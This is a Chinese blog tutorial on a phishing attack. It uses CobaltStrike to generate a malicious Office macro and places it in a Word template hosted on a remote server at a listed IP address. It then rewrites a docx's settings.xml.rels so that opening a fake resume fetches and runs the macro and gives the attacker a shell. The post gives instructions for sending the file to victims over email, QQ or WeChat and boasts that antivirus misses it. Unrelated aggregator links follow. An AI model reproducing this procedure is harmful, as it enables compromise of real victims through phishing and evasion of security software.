0x00 前言

利用Word文档加载附加模板时的缺陷所发起的恶意请求而达到的攻击目的,所以当目标用户点开攻击者发给他的恶意word文档就可以通过向远程服务器请求恶意模板并执行恶意模板上的恶意代码。
这里,我们借助CobaltStrike生成office宏病毒,在将恶意宏嵌入到Word模板中,诱使受害者远程打开并加载带有宏的恶意Word模版,至目标主机成功上线CobaltStrike。

缺点:目标主机的网速决定了加载远程模版的速度。有可能文件打开的会特别慢(例如将远程模版放在github),受害者可能在文件打开一半的时候强制关闭word。加载位于github上的恶意模板内容,有点慢,我们可以放在vps上,这样速度就快些了。

优点:因为是远程加载,所以免杀效果十分不错。基本不会被杀毒软件拦截。

0x01 操作演示

第一步:制作一个恶意的模版并确保能够上线
这里以cs的宏木马为例。
依次点击攻击——>生成后门——>MS Office Macro:

然后选择一个监听器,点击Generate:

然后点击Copy Macro:

此时便将恶意的VB代码获取到了剪切板中。
然后打开word编辑器,在工具栏的空白区域右键,点击自定义功能区:

勾选开发工具选项:

此时就会出现开发工具这一栏,并点击开发工具中的“Visual basic”:

将恶意代码复制到project的指定地点如下图所示:

然后保存关闭代码框,将这个word文件另存为一个启用宏的word模版文件(*.dotm):

这时候可以先测试一下模版能否上线,操作为在模版文件上右键打开,双击是无法打开模版文件的,在模版文件上双击默认是以此模版创建新文件,切记。
右键打开后,CS成功上线:

第二步:制作远程加载恶意宏模版的docx文件
1.将恶意文件上传到服务器
首先将刚才已经制作好的含有恶意代码的模版文件上传到服务器上

开启监听,并在url后面加上?raw=true

http://22.124.56.238:8999/Doc1.dotm?raw=true

2.加载服务器上的恶意文件
打开word找一个任意的模版双击使用

将文件后缀改为zip

将其解压缩:

进入word文件夹中的_rels,找到settings.xml.rels文件

编辑这个文件,将其的target属性的值改为我们上面的那个url,也就是http://22.124.56.238:8999/Doc1.dotm?raw=true

接下来将刚才解压生成的文件压缩回去:

并且将生成的压缩文件改名为后缀名为docx的文件。

将最终生成的恶意文件——我的简历.docx用邮箱钓鱼、qq或微信文件发送给受害者,当受害者双击打开“我的简历.docx”文件是,恶意代码会执行,目标主机会上线

火绒查杀,并未发现

注意:将该恶意文档发给其他人,只要他是用word打开(wps不行),并且开启了宏,我们的CS就会收到弹回来的shell。
word开启或禁用宏:文件——>选项——>信任中心——>信任中心设置

默认情况下是“禁用所有宏,并发出通知”,这种情况下,当我们打开恶意文件时,会询问你是否“启用内容”:

这时,受害者只有点击了“启用内容”后恶意代码才会执行,目标主机才能上线(当然对方主机如果安装了杀软,如果进行注入,杀软会进行动态查杀,恶意文件将不会起作用)。

参考文章:钓鱼攻击:远程加载恶意Word模版文件上线CS

钓鱼攻击之远程加载恶意Word模版文件上线CS的更多相关文章

  1. 在Unity中创建可远程加载的.unity3d包

    在一个Unity项目中,发布包本身不一定要包括所有的Asset(译为资产或组件),其它的部分可以单独发布为.unity3d,再由程序从本地/远程加载执行,这部分不在本文讨论范围.虽然Unity并没有直 ...

  2. Ext2.0之Tabpanel AJAX远程加载多标签页面模式开发技巧

    目前开发的方式是采用远程load页面来实现多页面效果,类似于126邮箱多标签页效果.但是比126邮箱的方式更好,因为页面打开后是load到本地的,126似乎还会重新请求.在近期项目该开发方式已经基本成 ...

  3. CSS远程加载字体

    CSS 远程加载字体的方法,做网站CSS的都知道,用户浏览网站时,网页上的字体是加载本地的.换言之,如果网站使用了用户电脑所没有安装的字体,那显示字体就会被默认字体所代替了,自然效果就大受影响了. 上 ...

  4. bootstrap模态框远程加载网页的正确处理方式

    bootstrap模态框远程加载网页的方法 在bootsrap模态框文档里给出了这个方法: 使用链接模式 <a data-toggle="modal" href=" ...

  5. Bootstrap Modal 使用remote从远程加载内容

        Bootstrap的Modal这个模态窗组件还是很好用的,但在开发的过程中模态窗中的内容大部分都是从后端加载的.要实现模态窗的内容是从后端加载话,常用的实现方式有2种.它们是:     (1) ...

  6. 【微信小游戏】文件系统,远程加载资源打破4M限制

    一.前提 微信小游戏,对游戏包体的大小有严格是限制,上传文件大小<4M,但是本地缓存文件有50M空间,也就是说我们可以将一些资源放到网上,然后缓存到本地. 二.官方概念 文件系统 文件系统是小程 ...

  7. 背水一战 Windows 10 (11) - 资源: CustomResource, ResourceDictionary, 加载外部的 ResourceDictionary 文件

    [源码下载] 背水一战 Windows 10 (11) - 资源: CustomResource, ResourceDictionary, 加载外部的 ResourceDictionary 文件 作者 ...

  8. 资源: CustomResource, ResourceDictionary, 加载外部的 ResourceDictionary 文件

    CustomResource ResourceDictionary 加载外部的 ResourceDictionary 文件 示例1.演示“CustomResource”相关知识点Resource/Cu ...

  9. JQuery 加载 CSS、JS 文件

    JS 方式加载 CSS.JS 文件: //加载 css 文件 function includeCss(filename) { var head = document.getElementsByTagN ...

随机推荐

  1. JavaScript中的NaN

    论装逼我只服NaN 首先这逼自己都不愿意等于自己 console.log(NaN == NaN); // false 这逼够嫌弃自己的 其次这逼本身的意思是非数字就是NaN 然鹅typeof NaN结 ...

  2. CF493A Vasya and Football 题解

    Content 有两个球队在踢足球,现在给出一些足球运动员被黄牌或红牌警告的时间,求每个队员第一次被红牌警告的时间. 注意:根据足球比赛规则,两张黄牌自动换成一张红牌. 数据范围:比赛时间 \(90\ ...

  3. CF1433B Yet Another Bookshelf 题解

    Content 在一个仅有 \(0,1\) 这两个数的数列上,每次可以选择一段全为1的连续区间将其左移 \(1\) 或者右移 \(1\).现给出 \(t\) 次询问,每次询问给出一个长度为 \(n\) ...

  4. 当是class com.cosl.po.Pc$$EnhancerByCGLIB$$38c58f03时,反射属性都他妈不好用了

    当是class com.cosl.po.Pc$$EnhancerByCGLIB$$38c58f03时,反射属性都他妈不好用了 搞不懂为什么?

  5. 基于GDI和D3D的抓屏技术

    GDI32Api.Direct3D屏幕截图 最近因为工作需要,认真研究了一下屏幕截图的方法. 最主要的方法有两种,一.调用windows GDI32 API函数.二.使用DirectX9.0来实现. ...

  6. 除了背八股文,Java面试更该这样准备

    我可以这样说,哪怕你背了再多java八股文的答案,过面试也能靠运气,因为很多java面试的答案只限于技术理论说辞.但用我本文给出的方法去准备面试,能在不提升技术的前提下,大大提升你java面试的通过率 ...

  7. SpringBoot整合quartz框架启动定时任务报错:the given trigger will never fire.

    org.quartz.SchedulerException: Based on configured schedule, the given trigger 'DEFAULT.cron_b1a91e1 ...

  8. 使用.NET 6开发TodoList应用(10)——实现DELETE请求以及HTTP请求幂等性

    系列导航及源代码 使用.NET 6开发TodoList应用文章索引 需求 先说明一下关于原本想要去更新的PATCH请求的文章,从目前试验的情况来看,如果是按照.NET 6的项目结构(即只使用一个Pro ...

  9. leetcode日记本

    写在前面: 2019.6开始经过一年的学习,我依然没有学会算法,依然停留在最基本的阶段,面对题目依然一头雾水 但是难不是放弃的理由,根据毛主席的论持久战原理,我决定一天看一点循序渐进,相信总有一天可以 ...

  10. 【Redis的那些事 · 续集】Redis的位图、HyperLogLog数据结构演示以及布隆过滤器

    一.Redis位图 1.位图的最小单位是bit,每个bit的值只能是0和1,位图的应用场景一般用于一些签到记录,例如打卡等. 场景举例: 例如某APP要存储用户的打卡记录,如果按照正常的思路来做,可能 ...